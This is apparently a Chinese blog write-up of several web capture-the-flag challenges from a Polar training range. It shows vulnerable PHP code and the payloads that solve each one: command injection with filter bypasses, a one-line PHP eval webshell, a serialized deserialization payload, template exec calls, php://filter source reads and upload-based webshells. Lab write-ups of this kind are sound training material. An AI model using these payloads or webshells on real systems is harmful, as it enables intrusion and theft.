bllbl_rce
打开是一个命令执行框

发现有限制,扫一下目录看看

进入admin/admin.php目录

是一个附件,内容是
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Command Query Tool</title>
</head>
<body>
<h1>Command Query Tool</h1>
<form action="index.php" method="post">
<label for="command">输入你的命令</label>
<input type="text" id="command" name="command" required>
<button type="submit">执行</button>
</form>
<?php
if (isset($_POST['command'])) {
$command = $_POST['command'];
if (strpos($command, 'bllbl') === false) {
die("no");
}
echo "<pre>";
system ($command);
echo "</pre>";
}
?>
</body>
</html>
我们输入的字符必须要带有bllbl否则就输出no,下面的system会把我们输入的字符当作命令执行,我们可以带上bllbl参数后面放要执行的命令来RCE
执行成功
bllbl;ls

pyload:
bllbl;cat /flag
狗黑子的隐藏
打开只有一个刷新页面的按钮

源代码也没有什么东西,扫一下目录

也没发现,但是源代码中有

那就post传递一个名字是id的执行

可以看到执行成功了,但是试一下读取源码都是弹出可能过滤了东西
cmd=ca"t" i?d?x.php进行绕过一下

查看源码果然过滤了不少东西

但是过滤/目录分隔符号
我们可以用dirname链替代 /:
例子:$(dirname $PWD)就相当于../而$(dirname $(dirname $PWD))就相当于../../两 -所以可以使用这个绕过
也是好起来了,用一个就得到了
cmd=ls $(dirname $PWD)
接下来读一下,
pyload:
cmd=cd $(dirname $PWD);ca"t" ?la?.php
也可以,echo 上传一句木马
echo '<?php @eval($_POST["x"]);?>' > shell.php

得到flag

真假ECR
打开直接给源码,密密的过滤了不少东西

发现没过滤env试一下

但这个flag好像错的,find看看根目录

结合源代码的提示,直接访问试试

解码为

按照提示加上访问heigouzi.php

参数也是cmd,并且发现5个文件

访问/cainiao.txt

这是一段PHP解密脚本,再联系到目录中有一个she11.php这很可能是一个后门,而这段解密脚本应该就是用来获取密码的,我们用flag.php页面的key=answer、DATA=2JSklNA=这两个参数来充当密文和密钥,构造payload:
<?php
class Decryption
{
public function decrypt($data, $key)
{
$key = md5($key);
$data = base64_decode($data);
$len = strlen($data);
$str = '';
for ($i = 0; $i < $len; $i++) {
$k_char = $key[$i % 32];
$str .= chr(ord($data[$i]) - ord($k_char));
}
return $str;
}
}
$data = '2JSklNA=';
$key = 'answer';
$dec = new Decryption();
var_dump($dec->decrypt($data, $key));
?>
运行后拿到明文:wanan

用蚁剑连一下


其实也可以

nukaka_ser2
打开给到源代码
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>大部分都是遮挡眼的直接构造
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "";
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = True;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
}
}
}
$a=new VulnerableClass();
$b=new FlagReader();
$a->logger=$b;
echo base64_encode(serialize($a));
?>

pyload:?data=TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=
你也玩铲吗?

弹出登录和注册账户
先注册一下看看弹出来注册成功
下一步拿新注册的账户登录一下

提示身份是admin用户

发现注册admin用户登录进去还是一样的提示词
说明不是admin用户的事情
<!--偷偷告诉你:auth的值需要是user:admin,但它的检查逻辑可能进行了一些编码,比如:base64......-->
auth 是 authentication / authorization 的简写,翻译:认证、鉴权。
作用:用来证明你是谁、有没有访问权限,相当于登录凭证、通行证。也就是身份凭证用来验证登陆权限
常见传递位置:
URL 参数:?auth=xxx请求头:,Authorization: xxx,Cookie 表单字段
这里说值是user:admin但它的检查逻辑可能进行了一些编码,比如:base64
那就对user:admin进行base64编码为dXNlcjphZG1pbg==
修改cookie的参数发现也不行在想会不会漏了什么
扫描一下看看

发现admin.login.php
登录一下发现falg

PolarCMS
打开又是一个注册框

点击联系管理员可以看到管理员的id=huangle

指针放到密码上可以发现

我就要试试<发现登录进去了,逆天

选择上传一个文件

发现没有被解析

点击创建一个新页面,看了大佬的文章,存在伪SSTL漏洞

点击保存

${exec('ls /')}
pyload
${exec('cat /flag')}
Squirtle的论坛
打开页面,标签挨个都点了么发现跳转什么的

扫个目录看看

访问/admin.php,发现无权限访问

访问/src/


还是回看admin.php抓个包
注意

添加cookies


上传文件

蚁剑连一下

在根目录找到flag

狗黑子的舔狗日记
扎心的一题,先查看题目

没啥思路扫一下目录

访问/flag.php
真服了,骗进来啥

访问/www.zip
解压后好像是一个密码本

尝试读取index文件,查看内容
payload:/?page=php://filter/read=convert.base64-encode/resource=index.php

解码一下
<?php
session_start();
define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');
$defaultPage = PAGE_MOMENTS;
$currentPage = $_SESSION['current_page'] ?? $defaultPage;
$allowedPages = [PAGE_WECHAT, PAGE_MOMENTS, PAGE_PROFILE];
if (isset($_GET['page']) && in_array($_GET['page'], $allowedPages)) {
$currentPage = $_GET['page'];
$_SESSION['current_page'] = $currentPage;
chdir(dirname(__FILE__));
$is_dangerous = false;
if ($is_dangerous) {
echo "只允许当前目录";
}
}
if (isset($_GET['page'])) {
$requestedPage = $_GET['page'];
$baseDir = dirname(__FILE__);
if (strpos($requestedPage, 'php://') === 0) {
if (preg_match('/resource=([^&]+)/', $requestedPage, $matches)) {
$resource = $matches[1];
$resource = urldecode($resource);
if (strpos($resource, '/') !== false || strpos($resource, '\\') !== false || strpos($resource, '..') !== false) {
die("不支持其他操作");
}
include($requestedPage);
exit;
}
}
$fullPath = realpath($baseDir . DIRECTORY_SEPARATOR . $requestedPage);
if ($fullPath === false || dirname($fullPath) !== $baseDir) {
die("不支持其他操作");
}
include($requestedPage);
chdir(dirname(__FILE__));
$is_dangerous = false;
if ($is_dangerous) {
echo "只允许当前目录";
}
exit;
}
$flag='ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg==';
if (in_array($currentPage, $allowedPages)) {
include($currentPage);
} else {
include(PAGE_MOMENTS);
}
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
session_destroy();
header('Location: src/denglu.php');
exit;
}
?>在源码中我们可以找到一串疑似flag的base64编码,我们对其解码看看:

要登录进去瞧瞧,得到女神的名字
退出登录,

抓包,前面知道,账户名是nvshen,直接爆破
得到密码:nvshen345

用账户密码登录女神的账号

可能看到,舔狗发来的信息,发一下信息给他

好像发什么都会回这一条
知道命字

flag{aa1e3ea993e122de5de6e387db6c8609}
polar快递
打开登录框,右上角有一个下载备忘录

内容太多,最重要的发现

登录账户

没发现有用的信息,抓个登录包分析分析

admin好像不行

修改为root试试

狗黑子的跳转
打开是一个永远点不到的按钮


跳转是一个文件上传的页面

发现只允许上传图片文件

改成png后改包

但是没有给文件上传位置
url访问弹出不是有效的文件

想着php伪协议读一下源码
ghzgouheizi.php?gou=php://filter/read=convert.base64-encode/resource=ghzgouheizi.php
base64解码一下得到位置

但是会进行base64加密后MD5加密最后放到.uploads/目录下,所以对我们上传的文件名先

再MD5加密

最后加上uploads/文件名.php

成功看到我们的文件头了
蚁剑连一下

得到flag

aa
打开是一个封面没什么有用的信息

查看一下源代码

访问i.php

分析一下代码,代码是在做计算,会把rawX的值放到decodeX函数里进行base64解码,会把rawY的值放到processY函数里进行md5加密然后返回前8个字符,会把rawZ的值放到decodeZ函数里进行url解码,最后flag就等于它们拼接起来。经过计算得到:
$X = 6547、$Y = caf1a3df、$Z = 25
最终:flag{6547caf1a3df25}
PolarShop
打开是一个积分兑换商店

那就修改一下

直接购物,第二个提示店主名

感觉是一个密码本

扫个目录看看

访问/admin.php

一个登录框但不知道用户名
访问/api.php

/config.php没有东西就不看了访问/download.php

没啥别的了根据获得的账户密码爆破一下
得到密码:

成功登录,点那个发现还是不能查看

想到是不是登录状态

得到flag

flag{d104c607a29d48eb99f2eece12281a7f}
palor靶场-中等方向(37-48)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法